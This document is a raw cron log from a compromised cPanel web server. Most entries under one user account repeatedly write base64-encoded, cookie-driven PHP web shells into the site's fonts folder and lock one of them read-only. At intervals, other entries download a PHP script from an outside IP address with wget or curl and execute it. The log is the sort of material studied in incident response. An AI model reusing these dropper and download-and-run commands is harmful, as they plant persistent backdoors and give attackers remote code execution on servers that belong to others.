Sep  2 11:37:01 ip-184-168-122-23 CROND[7685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:38:01 ip-184-168-122-23 CROND[7795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:38:01 ip-184-168-122-23 CROND[7800]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:38:01 ip-184-168-122-23 CROND[7798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:38:01 ip-184-168-122-23 CROND[7801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:38:01 ip-184-168-122-23 CROND[7799]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 11:39:01 ip-184-168-122-23 CROND[8078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:39:01 ip-184-168-122-23 CROND[8079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:39:01 ip-184-168-122-23 CROND[8081]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:39:01 ip-184-168-122-23 CROND[8080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:39:01 ip-184-168-122-23 CROND[8083]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 11:40:01 ip-184-168-122-23 CROND[8207]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 11:40:01 ip-184-168-122-23 CROND[8208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:40:01 ip-184-168-122-23 CROND[8212]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 11:40:01 ip-184-168-122-23 CROND[8211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:40:01 ip-184-168-122-23 CROND[8214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:40:01 ip-184-168-122-23 CROND[8213]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 11:40:01 ip-184-168-122-23 CROND[8215]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:40:01 ip-184-168-122-23 CROND[8210]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 11:41:01 ip-184-168-122-23 CROND[8336]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:41:01 ip-184-168-122-23 CROND[8338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:41:01 ip-184-168-122-23 CROND[8339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:41:01 ip-184-168-122-23 CROND[8340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:42:01 ip-184-168-122-23 CROND[8439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:42:01 ip-184-168-122-23 CROND[8440]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 11:42:01 ip-184-168-122-23 CROND[8443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:42:01 ip-184-168-122-23 CROND[8442]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:42:01 ip-184-168-122-23 CROND[8445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:43:01 ip-184-168-122-23 CROND[8541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:43:01 ip-184-168-122-23 CROND[8539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:43:01 ip-184-168-122-23 CROND[8540]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:43:01 ip-184-168-122-23 CROND[8542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:44:01 ip-184-168-122-23 CROND[8727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:44:01 ip-184-168-122-23 CROND[8729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:44:01 ip-184-168-122-23 CROND[8730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:44:01 ip-184-168-122-23 CROND[8731]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 11:44:01 ip-184-168-122-23 CROND[8732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:45:01 ip-184-168-122-23 CROND[8830]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:45:01 ip-184-168-122-23 CROND[8833]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 11:45:01 ip-184-168-122-23 CROND[8831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:45:01 ip-184-168-122-23 CROND[8832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:45:01 ip-184-168-122-23 CROND[8834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:45:01 ip-184-168-122-23 CROND[8835]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 11:46:01 ip-184-168-122-23 CROND[8952]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:46:01 ip-184-168-122-23 CROND[8954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:46:01 ip-184-168-122-23 CROND[8956]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 11:46:01 ip-184-168-122-23 CROND[8957]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 11:46:01 ip-184-168-122-23 CROND[8958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:46:01 ip-184-168-122-23 CROND[8959]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 11:46:01 ip-184-168-122-23 CROND[8955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:47:01 ip-184-168-122-23 CROND[9099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:47:01 ip-184-168-122-23 CROND[9097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:47:01 ip-184-168-122-23 CROND[9100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:47:01 ip-184-168-122-23 CROND[9098]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:48:01 ip-184-168-122-23 CROND[9201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:48:01 ip-184-168-122-23 CROND[9204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:48:01 ip-184-168-122-23 CROND[9203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:48:01 ip-184-168-122-23 CROND[9206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:48:01 ip-184-168-122-23 CROND[9205]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 11:49:01 ip-184-168-122-23 CROND[9375]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:49:01 ip-184-168-122-23 CROND[9376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:49:01 ip-184-168-122-23 CROND[9377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
